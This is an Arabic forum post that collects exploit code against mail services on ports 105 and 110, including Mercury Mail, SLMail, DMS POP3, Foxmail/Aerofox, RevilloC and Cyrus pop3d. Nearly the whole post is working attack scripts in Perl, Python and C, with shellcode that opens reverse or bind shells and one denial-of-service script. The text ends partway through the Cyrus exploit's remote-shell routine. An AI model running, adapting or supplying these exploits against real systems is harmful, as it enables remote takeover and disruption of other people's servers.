البورتات و ثغراتها بورت 105 و 110 و 111 و 113

البورتات و ثغراتها بورت 105 و 110 و 111 و 113


النتائج 1 إلى 4 من 4

الموضوع: البورتات و ثغراتها بورت 105 و 110 و 111 و 113

  1. #1

    Red face البورتات و ثغراتها بورت 105 و 110 و 111 و 113


    بسم الله الرحمن الرحيم

    السلام عليكم و رحمة الله و بركاته


    ان شاء الله تكونو في افضل حال
    أضع بين يديكم البورتات و ثغراتها
    بورت 105 و 110 و 111 و 113

    نبدأ بـ بورت 105

    105 Mercury Mail Transport System 4.01b Remote Exploit (PH SERVER)

    كود PHP:
    ### mercury***ywarez
    ### Okayokay THiS iS 0DAY!!!
    ### Mercury Mail Transport System 4.01b REMOTE ROOT EXPLOIT
    ### (PH SERVER)
    ### since me and my folks didn't find enough wild targets,
    ### i release this pretty warez to the public :PP
    ### kcope [kingcope(at)gmx.net] in 2005! JUUAREZ!
    ### Big thanx to blackzero,revoguard,qobaiashi,unf,secrew!
    ###################################################################
    use IO::Socket;
    # 316 bytes
    $cbsc =
    "\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\xC2\xE2\xFA"
    ."\xEB\x05\xE8\xEB\xFF\xFF\xFF"
    ."\x2B\x39\xC2\xC2\xC2\x9D\xA6\x63\xF2\xC2\xC2\xC2\x49\x82\xCE\x49"
    ."\xB2\xDE\x6F\x49\xAA\xCA\x49\x35\xA8\xC6\x9B\x2A\x59\xC2\xC2\xC2"
    ."\x20\x3B\xAA\xF1\xF0\xC2\xC2\xAA\xB5\xB1\xF0\x9D\x96\x3D\xD4\x49"
    ."\x2A\xA8\xC6\x9B\x2A\x40\xC2\xC2\xC2\x20\x3B\x43\x2E\x52\xC3\xC2"
    ."\xC2\x96\xAA\xC3\xC3\xC2\xC2\x3D\x94\xD2\x92\x92\x92\x92\x82\x92"
    ."\x82\x92\x3D\x94\xD6\x49\x1A\xAA\xBD\xC2\xC2\xC3\xAA\xC0\xC2\xC2"
    ."\xF7\x49\x0E\xA8\xD2\x93\x91\x3D\x94\xDA\x47\x02\xB7\x88\xAA\xA1"
    ."\xAF\xA6\xC2\x4B\xA4\xF2\x41\x2E\x96\x4F\xFE\xE6\xA8\xD7\x9B\x69"
    ."\x20\x3F\x04\x86\xE6\xD2\x86\x3C\x86\xE6\xFF\x4B\x9E\xE6\x8A\x4B"
    ."\x9E\xE6\x8E\x4B\x9E\xE6\x92\x4F\x86\xE6\xD2\x96\x92\x93\x93\x93"
    ."\xA8\xC3\x93\x93\x3D\xB4\xF2\x93\x3D\x94\xC6\x49\x0E\xA8\x3D\x3D"
    ."\xF3\x3D\x94\xCA\x91\x3D\x94\xDE\x3D\x94\xCE\x93\x94\x49\x87\xFE"
    ."\x49\x96\xEA\xBA\xC1\x17\x90\x49\xB0\xE2\xC1\x37\xF1\x0B\x8B\x83"
    ."\x6F\xC1\x07\xF1\x19\xCD\x7C\xD2\xF8\x14\xB6\xCA\x03\x09\xCF\xC1"
    ."\x18\x82\x29\x33\xF9\xDD\xB7\x25\x98\x49\x98\xE6\xC1\x1F\xA4\x49"
    ."\xCE\x89\x49\x98\xDE\xC1\x1F\x49\xC6\x49\xC1\x07\x69\x9C\x9B\x01"
    ."\x2A\xC2\x3D\x3D\x3D\x4C\x8C\xCC\x2E\xB0\x3C\x71\xD4\x6F\x1B\xC7"
    ."\x0C\xBC\x1A\x20\xB1\x09\x2F\x3E\xF9\x1B\xCB\x37\x6F\x2E\x3B\x68"
    ."\xA2\x25\xBB\x04\xBB";

    $numtargets 1;

    @
    targets =
    (
     [
    "Mercury Mail Transport System 4.01b Win2k SP4/WinXP SP2""\x83\xf2\x41\x00"]
    );

    print 
    "Okayokay THiS iS 0DAY!!!\n";
    print 
    "Mercury Mail Transport System 4.01b REMOTE ROOT EXPLOIT\nkcope [kingcope(at)gmx.net] in 2005! JUUAREZ!\n";
    print 
    "Big thanx to blackzero,revoguard,qobaiashi,unf,secrew!\n";
    if ($
    #ARGV ne 3) {
           
    print "usage: mecury***ywarez.pl target targettype yourip yourport\n\n";
       for (
    $i=0$i<$numtargets$i++) {
            print 
    " [".$i."]..."$targets[$i][0]. "\n";
       }
           exit(
    0);
    }

    $sock IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 
    PeerPort => '105',
                                 
    Proto    => 'tcp') || die("Oh my godess! Port not open! Pleeze open and try again :PP");
    $tt=$ARGV[1];
    $cbip=$ARGV[2];
    $cbport=$ARGV[3];

    (
    $a1$a2$a3$a4) = split(//, gethostbyname("$cbip"));
    $a1 chr(ord($a1) ^ 0xc2);
    $a2 chr(ord($a2) ^ 0xc2);
    $a3 chr(ord($a3) ^ 0xc2);
    $a4 chr(ord($a4) ^ 0xc2);
    substr($cbsc1114$a1 $a2 $a3 $a4);

    (
    $p1$p2) = split(//, reverse(pack("s", $cbport)));
    $p1 chr(ord($p1) ^ 0xc2);
    $p2 chr(ord($p2) ^ 0xc2);
    substr($cbsc1182$p1 $p2);

    $pad="A" x 408 $cbsc "\x90\x90\xeb\x04";
    $pad2="A" x 440;

    $ret=$targets[$tt][1];
    $x=$pad.$ret."JJJJKKKKLLLLMMMMNNNNOOOOPPPP\xe9\x87\xfe\xff\xff".$pad2;
    print 
    $sock "$x\r\n";

    while (<
    $sock>) {
           print;
    }

    #  [2005-12-16] 
    انتهينا من بورت 105
    نبداء بـ بورت 110

    110 SLMail 5.5 POP3 PASS Buffer Overflow Exploit

    كود PHP:
    #########################################################
    #                                                       #
    # SLmail 5.5 POP3 PASS Buffer Overflow                   #
    # Discovered by : Muts                                  #
    # Coded by : Muts                                       #
    # WWW.WHITEHAT.CO.IL                                    #
    # Plain vanilla stack overflow in the PASS command      #
    #                                                       #
    #########################################################
    # D:\Projects\BO>SLmail-5.5-POP3-PASS.py                #
    #########################################################
    # D:\Projects\BO>nc -v 192.168.1.167 4444               #
    # localhost.lan [192.168.1.167] 4444 (?) open           #   
    # Microsoft Windows 2000 [Version 5.00.2195]            #
    # (C) Copyright 1985-2000 Microsoft Corp.               #
    # C:\Program Files\SLmail\System>                       #
    #########################################################

    import struct
    import socket

    print "\n\n###############################################"
    print "\nSLmail 5.5 POP3 PASS Buffer Overflow"
    print "\nFound & coded by muts [at] whitehat.co.il"
    print "\nFor Educational Purposes Only!" 
    print "\n\n###############################################"

    socket.socket(socket.AF_INETsocket.SOCK_STREAM)


    sc "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xe0\x66"
    sc += "\x1c\xc2\x83\xeb\xfc\xe2\xf4\x1c\x8e\x4a\xc2\xe0\x66\x4f\x97\xb6"
    sc += "\x31\x97\xae\xc4\x7e\x97\x87\xdc\xed\x48\xc7\x98\x67\xf6\x49\xaa"
    sc += "\x7e\x97\x98\xc0\x67\xf7\x21\xd2\x2f\x97\xf6\x6b\x67\xf2\xf3\x1f"
    sc += "\x9a\x2d\x02\x4c\x5e\xfc\xb6\xe7\xa7\xd3\xcf\xe1\xa1\xf7\x30\xdb"
    sc += "\x1a\x38\xd6\x95\x87\x97\x98\xc4\x67\xf7\xa4\x6b\x6a\x57\x49\xba"
    sc += "\x7a\x1d\x29\x6b\x62\x97\xc3\x08\x8d\x1e\xf3\x20\x39\x42\x9f\xbb"
    sc += "\xa4\x14\xc2\xbe\x0c\x2c\x9b\x84\xed\x05\x49\xbb\x6a\x97\x99\xfc"
    sc += "\xed\x07\x49\xbb\x6e\x4f\xaa\x6e\x28\x12\x2e\x1f\xb0\x95\x05\x61"
    sc += "\x8a\x1c\xc3\xe0\x66\x4b\x94\xb3\xef\xf9\x2a\xc7\x66\x1c\xc2\x70"
    sc += "\x67\x1c\xc2\x56\x7f\x04\x25\x44\x7f\x6c\x2b\x05\x2f\x9a\x8b\x44"
    sc += "\x7c\x6c\x05\x44\xcb\x32\x2b\x39\x6f\xe9\x6f\x2b\x8b\xe0\xf9\xb7"
    sc += "\x35\x2e\x9d\xd3\x54\x1c\x99\x6d\x2d\x3c\x93\x1f\xb1\x95\x1d\x69"
    sc += "\xa5\x91\xb7\xf4\x0c\x1b\x9b\xb1\x35\xe3\xf6\x6f\x99\x49\xc6\xb9"
    sc += "\xef\x18\x4c\x02\x94\x37\xe5\xb4\x99\x2b\x3d\xb5\x56\x2d\x02\xb0"
    sc += "\x36\x4c\x92\xa0\x36\x5c\x92\x1f\x33\x30\x4b\x27\x57\xc7\x91\xb3"
    sc += "\x0e\x1e\xc2\xf1\x3a\x95\x22\x8a\x76\x4c\x95\x1f\x33\x38\x91\xb7"
    sc += "\x99\x49\xea\xb3\x32\x4b\x3d\xb5\x46\x95\x05\x88\x25\x51\x86\xe0"
    sc += "\xef\xff\x45\x1a\x57\xdc\x4f\x9c\x42\xb0\xa8\xf5\x3f\xef\x69\x67"
    sc += "\x9c\x9f\x2e\xb4\xa0\x58\xe6\xf0\x22\x7a\x05\xa4\x42\x20\xc3\xe1"
    sc += "\xef\x60\xe6\xa8\xef\x60\xe6\xac\xef\x60\xe6\xb0\xeb\x58\xe6\xf0"
    sc += "\x32\x4c\x93\xb1\x37\x5d\x93\xa9\x37\x4d\x91\xb1\x99\x69\xc2\x88"
    sc += "\x14\xe2\x71\xf6\x99\x49\xc6\x1f\xb6\x95\x24\x1f\x13\x1c\xaa\x4d"
    sc += "\xbf\x19\x0c\x1f\x33\x18\x4b\x23\x0c\xe3\x3d\xd6\x99\xcf\x3d\x95"
    sc += "\x66\x74\x32\x6a\x62\x43\x3d\xb5\x62\x2d\x19\xb3\x99\xcc\xc2"

    #Tested on Win2k SP4 Unpatched
    # Change ret address if needed
    buffer '\x41' 4654 struct.pack('<L'0x783d6ddf) + '\x90'*32 sc 
    try:
        print 
    "\nSending evil buffer..."
        
    s.connect(('192.168.1.167',110))
        
    data s.recv(1024)
        
    s.send('USER username' +'\r\n')
        
    data s.recv(1024)
        
    s.send('PASS ' buffer '\r\n')
        
    data s.recv(1024)
        
    s.close()
        print 
    "\nDone! Try connecting to port 4444 on victim machine."
    except:
        print 
    "Could not connect to POP3!"

    #  [2004-11-18] 
    110 DMS POP3 Server (1.5.3 build 37) Buffer Overflow Exploit

    كود PHP:
    #===== Start DMS_POP3_Overflow.pl =====
    #
    # Usage: DMS_POP3_Overflow.pl <ip> <port>
    #        DMS_POP3_Overflow.pl 127.0.0.1 110
    #
    # DMS POP3 Server for Windows 2000/XP 1.5.3 build 37
    #
    # Download:
    # http://www.digitalmapping.sk.ca/pop3srv/default.asp
    #
    # Patch:
    # http://www.digitalmapping.sk.ca/pop3srv/Update.asp
    #
    #####################################################

    use IO::Socket;
    use 
    strict;

    my($socket) = "";

    if (
    $socket IO::Socket::INET->new(PeerAddr => $ARGV[0],
                        
    PeerPort => $ARGV[1],
                        
    Proto    => "TCP"))
    {
        print 
    "Attempting to kill DMS POP3 service at $ARGV[0]:$ARGV[1]...";

        
    sleep(1);

        print 
    $socket "USER " "A" x 1023;

        
    close $socket;

        
    sleep(1);

        if (
    $socket IO::Socket::INET->new(PeerAddr => $ARGV[0],
                            
    PeerPort => $ARGV[1],
                            
    Proto    => "TCP"))
        {
            
    close $socket;

            print 
    "failed!\n";
        }
        else
        {
            print 
    "successful!\n";
        }
    }
    else
    {
        print 
    "Cannot connect to $ARGV[0]:$ARGV[1]\n";
    }

    #  [2004-11-21] 
    110 Foxmail 1.1.0.1 POP3 Temp Dir Stack Overflow Exploit

    كود PHP:
    #include <winsock.h>
    #include <windows.h>
    #include <stdio.h>
    #include <conio.h>
    #pragma comment (lib,"ws2_32")
    #define PORT_OFFSET  118
    #define IP_OFFSET    111

    char Shellcode[] =      "\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\x99\xE2\xFA"
                                           "\xEB\x05\xE8\xEB\xFF\xFF\xFF"
                                           "\x70\x62\x99\x99\x99\xC6\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
                                           "\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3\x9D\xC0\x71\x02\x99\x99\x99"
                                           "\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE\xEA\xAB\xC6\xCD\x66\x8F\x12"
                                           "\x71\xF3\x9D\xC0\x71\x1B\x99\x99\x99\x7B\x60\x18\x75\x09\x98\x99"
                                           "\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF\x89\xC9\xC9\xC9\xC9\xD9\xC9"
                                           "\xD9\xC9\x66\xCF\x8D\x12\x41\xF1\xE6\x99\x99\x98\xF1\x9B\x99\x99"
                                           "\xAC\x12\x55\xF3\x89\xC8\xCA\x66\xCF\x81\x1C\x59\xEC\xD3\xF1\xFA"
                                           "\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD\x14\xA5\xBD\xF3\x8C\xC0\x32"
                                           "\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD\xBD\xA4\x10\xC5\xBD\xD1\x10"
                                           "\xC5\xBD\xD5\x10\xC5\xBD\xC9\x14\xDD\xBD\x89\xCD\xC9\xC8\xC8\xC8"
                                           "\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66\xCF\x9D\x12\x55\xF3\x66\x66"
                                           "\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66\xCF\x95\xC8\xCF\x12\xDC\xA5"
                                           "\x12\xCD\xB1\xE1\x9A\x4C\xCB\x12\xEB\xB9\x9A\x6C\xAA\x50\xD0\xD8"
                                           "\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3\x4F\xED\x91\x58\x52\x94\x9A"
                                           "\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC3\x12\xC3\xBD\x9A\x44\xFF\x12"
                                           "\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D\x12\x9A\x5C\x32\xC7\xC0\x5A"
                                           "\x71\x99\x66\x66\x66\x17\xD7\x97\x75\xEB\x67\x2A\x8F\x34\x40\x9C"
                                           "\x57\xE7\x41\x7B\xEA\x52\x74\x65\xA2\x40\x90\x6C\x34\x75\x60\x33"
                                           "\xF9\x7E\xE0\x5F\xE0"
    ;

    char szUser[]   =       "user 1231231231231234567890abcdefghijklmnopqrstuvwxyz1234567890a"
                                           "bcdefghijklmnopqrstuvwxyz1234567890abcdefghijklmnopqrstuvwxyz123"
                                           "4567890abcdefghijklmnopqrstuvwxyz1234567890abcdefghijkklmnopqrst"
                                           "uvwxyz1234567890abcdefghijkklmnopqrstuvwxyz1234567890abcdAAAAijk"
                                           "lmnopqrstuvwxyz1234567890abcdefghijklmnopqrstuvwxyz1234567890abc"
                                           "defghijklmnopqrstuvwxyz1234567890abcdefghijklmnopqrstuvwxyz12345"
                                           "67890abcdefghijklmnopqrstuvwxyz1234567890abcdefghijklmnopqrstuvw"
                                           "xyz1234567890abcdefghijklmnopqrstuvwxyz1234567890abcdefghijklmno"
                                           "pqrstuvwxyz1234567890abcdefghijklmnopqrstuvwxyz1234567890abcdefg"
                                           "hijklmnopqrstuvwxyz1234567890abcdefghijklmnopqrstuvwxyz123456789"
                                           "0abcdefghijklmnopqrstuvwxyz1234567890abcdefghijklmnopqrstuvwxyz1"
                                           "234567890abcdefghijklmnopqrstuvwxyz1234567890abcdefghijklmnopqrs"
                                           "tuvwxyz1234567890abcdefghijklmnopqrstuvwxyz1234567890abcdefghijk"
                                           "lmnopqrstuvwxyz1234567890abcdefghijklmnopqrstuvwxyz1234567890abc"
                                           "defghijklmnopqrstuvwxyz1234567890abcdefghijklmnopqrstuvwxyz12345"
                                           "67890abcdefghijklmnopqrstuvwxyz1234567890abcdefghijklmnopqrstuvw"
                                           "xyz1234567890abcdefghijklmnopqrstuvwxyz1234567890abcdefghijklmno"
                                           "pqrstuvwxyz1234567890abcdefghijklmnopqrstuvwxyz1234567890abcdefg"
                                           "hijklmnopqrstuvwxyz\r\n"
    ;
    unsigned char szPass[] = "pass siglos\r\n";

    void help(char *program)
    {
           
    printf ("========================================================\r\n");
           
    printf ("Aerofox Mail Server 1.1.0.1 POP3 Temp Dir Stack Overflow\r\n");
           
    printf ("========================================================\r\n\r\n");
           
    printf ("Usage: %s <Host> <Your IP> <Your port>\r\n"program);
           
    printf ("e.g.:\r\n");
           
    printf ("     %s 127.0.0.1 202.119.9.42 8111\r\n"program);
           
    printf ("\r\n  The ret address is 0x7ffa1571.\r\n");
           exit(
    0);
    }

    SOCKET Connect(char *u_host ,unsigned short u_port)
    {
           
    WSADATA wsaData;
           
    SOCKET sock;
           
    struct hostent *r;
           
    struct sockaddr_in r_addr;
           
    int timeout 1000;

           if(
    WSAStartup(0x0101,&wsaData) != 0)
           {
                   
    printf("error starting winsock..");
                   return -
    1;
           }
           if((
    r=gethostbyname(u_host))== NULL)
           {
                   return -
    ;
           }
           if((
    sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))== INVALID_SOCKET)
           {
                   return -
    ;
           }
           
    r_addr.sin_family=AF_INET;
           
    r_addr.sin_port=htons(u_port);
           
    r_addr.sin_addr=*((struct in_addr*)r->h_addr);

           if(
    connect(sock,(struct sockaddr *)&r_addr,sizeof(r_addr))==SOCKET_ERROR)
           {
                   
    printf("Can't connect\n");
                   exit(-
    1);
           }
           
    setsockopt(sockSOL_SOCKETSO_RCVTIMEO, (char*)&timeout,sizeof(timeout));
           return(
    sock);
    }

    void Disconnect(SOCKET s)
    {
           
    closesocket(s);
           
    WSACleanup();
    }

    void tr(SOCKET s)
    {
           
    char buff[1500];
           
    memset(buff0sizeof(buff));
           
    recv(sbuffsizeof(buff), 0);
           
    printf("%s\r\n",buff);
    }

    void SlowSend(SOCKET schar *bufint p)
    {
           
    //send(s, buf, sizeof(buf),0);
           //send(s, "\r\n", 2,0);
           
    for(unsigned int i 0strlen(buf); i++)
           {
                   
    Sleep(p);
                   
    printf("%c"buf[i]);
                   
    send(s, (char*)&(buf[i]), 10);
           }
    }

    void main(int argcchar *argv[])
    {
           
    /*_asm{
                   mov             eax,90909091h
                   dec             eax
           a:      dec             ebx
                   cmp             [ebx], eax
                   jnz             a
                   push    ebx
                   ret
           }*/
           
    if(argc != 4)
                   
    help(argv[0]);

           
    unsigned short    port;
       
    unsigned long     ip;

       
    port htons(atoi(argv[3]))^(USHORT)0x9999;
       
    ip inet_addr(argv[2])^(ULONG)0x99999999;
       
    memcpy(&Shellcode[PORT_OFFSET], &port2);
       
    memcpy(&Shellcode[IP_OFFSET], &ip4);

           
    SOCKET s Connect(argv[1], 110);
           
    tr(s);
           
    memcpy(szUser 244"\xCC\x90\xEB\x04\x71\x15\xFA\x7F"8);
           
    memcpy(szUser 244 8,  "\xB8\x91\x90\x90\x90\x48\x4B\x39\x03\x75\xFB\x53\xC3\x90\x90\x90\x90"17);
           
    memcpy(szUser 244 17Shellcodesizeof(Shellcode) - 1);

           
    SlowSend(s, (char*)szUser1);
           
    getch();
           
    tr(s);
           
    SlowSend(s, (char*)szPass100);
           
    tr(s);
           
    Disconnect(s);
           return;
    }

    // [2005-03-02] 
    110 RevilloC MailServer 1.21 (USER) Remote Buffer Overflow Exploit PoC

    كود PHP:
    #!/usr/bin/perl -w    
    #revilloC mail server PoC exploit ( for xp sp1)
    # Discovered securma massine from MorX Security Research Team (http://www.morx.org).
    #RevilloC is a MailServer and Proxy v 1.21 (http://www.revilloC.com)
    #The mail server is a central point for emails coming in and going out from  home or office
    #The service will work with any standard email client that supports POP3 and SMTP.  
    #by sending a large buffer  after USER commands
    #C:\>nc 127.0.0.1 110
    #+OK RevilloC POP3 Ready
    #USER  "A" x4081 + "\xff"x4 + "\xdd"x4 + "\x0d\x0a" (xp sp2)
    #we have:
    #access violation when reading [dddddddd].
    #ntdll!wcsncat+0x387:
    #7C92B3FB   8B0B     MOV ECX,DWORD PTR DS:[EBX]  --->EBX pointe to  "\xdd"x4
    #ECX   dddddddd
    #EAX   FFFFFFFF  
    #Vendor contacted 14/01/2006 , No response,No patch.
    #this entire document is for eductional, testing and demonstrating purpose only.
    #greets all MorX members,undisputed,sara
    #!/usr/bin/perl -w           
    use IO::Socket;
                         if ($
    #ARGV<0) 
                        

                             print 
    "\n write the target IP!! \n\n"
                           exit; 
                         } 

            
    $shellcode "\xEB\x03\x5D\xEB\x05\xE8\xF8\xFF\xFF\xFF\x8B\xC5\x83\xC0\x11\x33".
                          
    "\xC9\x66\xB9\xC9\x01\x80\x30\x88\x40\xE2\xFA\xDD\x03\x64\x03\x7C".
                          
    "\x09\x64\x08\x88\x88\x88\x60\xC4\x89\x88\x88\x01\xCE\x74\x77\xFE".
                          
    "\x74\xE0\x06\xC6\x86\x64\x60\xD9\x89\x88\x88\x01\xCE\x4E\xE0\xBB".
                          
    "\xBA\x88\x88\xE0\xFF\xFB\xBA\xD7\xDC\x77\xDE\x4E\x01\xCE\x70\x77".
                          
    "\xFE\x74\xE0\x25\x51\x8D\x46\x60\xB8\x89\x88\x88\x01\xCE\x5A\x77".
                          
    "\xFE\x74\xE0\xFA\x76\x3B\x9E\x60\xA8\x89\x88\x88\x01\xCE\x46\x77".
                          
    "\xFE\x74\xE0\x67\x46\x68\xE8\x60\x98\x89\x88\x88\x01\xCE\x42\x77".
                          
    "\xFE\x70\xE0\x43\x65\x74\xB3\x60\x88\x89\x88\x88\x01\xCE\x7C\x77".
                          
    "\xFE\x70\xE0\x51\x81\x7D\x25\x60\x78\x88\x88\x88\x01\xCE\x78\x77".
                          
    "\xFE\x70\xE0\x2C\x92\xF8\x4F\x60\x68\x88\x88\x88\x01\xCE\x64\x77".
                          
    "\xFE\x70\xE0\x2C\x25\xA6\x61\x60\x58\x88\x88\x88\x01\xCE\x60\x77".
                          
    "\xFE\x70\xE0\x6D\xC1\x0E\xC1\x60\x48\x88\x88\x88\x01\xCE\x6A\x77".
                          
    "\xFE\x70\xE0\x6F\xF1\x4E\xF1\x60\x38\x88\x88\x88\x01\xCE\x5E\xBB".
                          
    "\x77\x09\x64\x7C\x89\x88\x88\xDC\xE0\x89\x89\x88\x88\x77\xDE\x7C".
                          
    "\xD8\xD8\xD8\xD8\xC8\xD8\xC8\xD8\x77\xDE\x78\x03\x50\xDF\xDF\xE0".
                          
    "\x8A\x88\xAB\x6F\x03\x44\xE2\x9E\xD9\xDB\x77\xDE\x64\xDF\xDB\x77".
                          
    "\xDE\x60\xBB\x77\xDF\xD9\xDB\x77\xDE\x6A\x03\x58\x01\xCE\x36\xE0".
                          
    "\xEB\xE5\xEC\x88\x01\xEE\x4A\x0B\x4C\x24\x05\xB4\xAC\xBB\x48\xBB".
                          
    "\x41\x08\x49\x9D\x23\x6A\x75\x4E\xCC\xAC\x98\xCC\x76\xCC\xAC\xB5".
                          
    "\x01\xDC\xAC\xC0\x01\xDC\xAC\xC4\x01\xDC\xAC\xD8\x05\xCC\xAC\x98".
                          
    "\xDC\xD8\xD9\xD9\xD9\xC9\xD9\xC1\xD9\xD9\x77\xFE\x4A\xD9\x77\xDE".
                          
    "\x46\x03\x44\xE2\x77\x77\xB9\x77\xDE\x5A\x03\x40\x77\xFE\x36\x77".
                          
    "\xDE\x5E\x63\x16\x77\xDE\x9C\xDE\xEC\x29\xB8\x88\x88\x88\x03\xC8".
                          
    "\x84\x03\xF8\x94\x25\x03\xC8\x80\xD6\x4A\x8C\x88\xDB\xDD\xDE\xDF".
                          
    "\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D\xF0\x8B\x5D\x03\xC2\x90".
                          
    "\x03\xD2\xA8\x8B\x55\x6B\xBA\xC1\x03\xBC\x03\x8B\x7D\xBB\x77\x74".
                          
    "\xBB\x48\x24\xB2\x4C\xFC\x8F\x49\x47\x85\x8B\x70\x63\x7A\xB3\xF4".
                          
    "\xAC\x9C\xFD\x69\x03\xD2\xAC\x8B\x55\xEE\x03\x84\xC3\x03\xD2\x94".
                          
    "\x8B\x55\x03\x8C\x03\x8B\x4D\x63\x8A\xBB\x48\x03\x5D\xD7\xD6\xD5".
                          
    "\xD3\x4A\x8C\x88";
                    
    $buffer "\x90"x3601;
                    
    $eax ="\x83\xb5\x19\x01"# change if needed             
                    
    $peb"\x20\xf0\xfd\x7f"#PEB lock
                    
    $user ="USER  ";
                    
    $enter  "\x0d\x0a";
                    
    $connect IO::Socket::INET ->new (Proto=>"tcp",
              
    PeerAddr=> "$ARGV[0]",
              
    PeerPort=>"110"); unless ($connect) { die "cant connect" }  
                    print 
    "\nRevilloC mail server remote PoC exploit by securma massine\n";
                    print 
    "\nsecurma\@morx.org\n";
                    print 
    "\n+++++++++++www.morx.org++++++++++++++++\n";              
                    
    $connect->recv($text,128); 
                    print 
    "$text\n";
                    print 
    "[+] Sent USER\n";
                    
    $connect->send($user $buffer $shellcode $eax $peb $enter); 
              print 
    "[+] Sent shellcode..telnet to victim host port 9191\n";

    # [2006-03-07] 
    110 Cyrus IMAPD 2.3.2 (pop3d) Remote Buffer Overflow Exploit

    كود PHP:
    /* zeroday warez
     * !!! PRIVATE - DONT DISTRIBUTE - PRIVATE !!!
     *********************************************
     * cyruspop3d.c - cyrus pop3d remote exploit by kcope
     * tested on cyrus-imapd-2.3.2,linux
     *
     * bug found 23 Apr 2006 by kcope
     *--------------------------------------------
     *
     * imapd/pop3d.c line 1830 :
     * char userbuf[MAX_MAILBOX_NAME+1], *p;
     * ...
     * if (!ulen) ulen = strlen(user);
     *   if (config_getswitch(IMAPOPT_POPSUBFOLDERS)) {
     *    memcpy(userbuf, user, ulen);
     *    userbuf[ulen] = '\0';
     * ...
     * popsubfolders has to be enabled
     *
     * thnx to blackzero revoguard wY! qobaiashi bogus alex
     * Love to Lisa :-)
     *********************************************
     * !!! PRIVATE - DONT DISTRIBUTE - PRIVATE !!!
     */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <sys/time.h>
    #include <unistd.h>
    #include <netdb.h>
    #include <errno.h>

    #define POP3PORT 110
    #define BINDPORT 13370

    unsigned char shellcode[] =
    "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96"
    "\x43\x52\x66\x68\x34\x3a\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56"
    "\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1"
    "\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0"
    "\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
    "\x89\xe1\xcd\x80"
    ;

    int do_connect (char *remotehostint port)
    {
       static 
    struct hostent *host;
       static 
    struct sockaddr_in addr;
       static 
    int done=0;
       
    int s;

       if (!
    inet_aton(remotehost, &addr.sin_addr) && (done != 1))
       {
           
    host gethostbyname(remotehost);
           if (!
    host)
           {
               
    perror("gethostbyname() failed");
               return -
    1;
           }
           
    addr.sin_addr = *(struct in_addr*)host->h_addr;
       }

       
    socket(PF_INETSOCK_STREAM0);
       if (
    == -1)
       {
           
    close(s);
           
    perror("socket() failed");
           return -
    1;
       }

       
    addr.sin_port htons(port);
       
    addr.sin_family AF_INET;

       if (
    connect(s, (struct sockaddr*)&addrsizeof(addr)) == -1)
       {
           
    close(s);
           if (
    port == POP3PORTperror("connect() failed");
           return -
    1;
       }

       
    done=1;
       return 
    s;
    }

    void do_exploit(int sockunsigned int returnaddr)
    {
       
    char nops[360];
       
    char nops2[100];
       
    char exploitbuffer[1024];
       
    char recvbuf[30];

       
    memset(&nops[0], '\0'sizeof(nops));
       
    memset(&nops[0], 'A'352);
       
    memset(&nops2[0], '\0'sizeof(nops2));
       
    memset(&nops2[0], 'A'90);

       while (
    1) {
           
    recv(sockrecvbuf10);
           if ((
    recvbuf[0] == '\r') || (recvbuf[0] == '\n')) break;
       }

       
    sprintf(exploitbuffer"USER %s%s%s\r\n"nopsshellcodenops2);

       
    exploitbuffer[strlen(exploitbuffer)-1] = (returnaddr >> 24) & 0xff;
       
    exploitbuffer[strlen(exploitbuffer)-2] = (returnaddr >> 16) & 0xff;
       
    exploitbuffer[strlen(exploitbuffer)-3] = (returnaddr >> 8) & 0xff;
       
    exploitbuffer[strlen(exploitbuffer)-4] = (returnaddr) & 0xff;

       
    send(sockexploitbufferstrlen(exploitbuffer), 0);
       
    recv(sockrecvbufsizeof(recvbuf)-10);
    }

    int do_checkvulnerable(int sock) {
       
    char checkbuffer[1024];
       
    char recvbuffer[10];

       
    memset(&checkbuffer[0], '\0'sizeof(checkbuffer)-1);
       
    memset(&checkbuffer[0], 'A'sizeof(checkbuffer)-2);
       
    checkbuffer[0]='U';
       
    checkbuffer[1]='S';
       
    checkbuffer[2]='E';
       
    checkbuffer[3]='R';
       
    checkbuffer[4]=' ';
       
    checkbuffer[sizeof(checkbuffer)-3]='\r';
       
    checkbuffer[sizeof(checkbuffer)-2]='\n';

       while (
    1) {
           
    recv(sockrecvbuffer10);
           if ((
    recvbuffer[0] == '\r') || (recvbuffer[0] == '\n')) break;
       }

       
    send(sockcheckbufferstrlen(checkbuffer), 0);

       if (
    recv(sockrecvbuffersizeof(recvbuffer)-1MSG_WAITALL) < 3)
           return 
    0;

       return -
    1;
    }

    int do_remote_shell(int sockfd)
    {
       while(
    1)
            {
               
    fd_set fds;
               
    FD_ZERO(&fds);
               
    FD_SET(0,&fds);
               
    FD_SET(sockfd,&fds);
               if(
    select(FD_SETSIZE,&fds,NULL,NULL,NULL))
               {
                  
    int cnt;
                  
    char buf[1024];
                  if(
    FD_ISSET(0,&fds))
                  {
                     if((
    cnt=read(0,buf,1024))<1)
                     {
                        if(
    errno==EWOULDBLOCK||errno==EAGAIN)
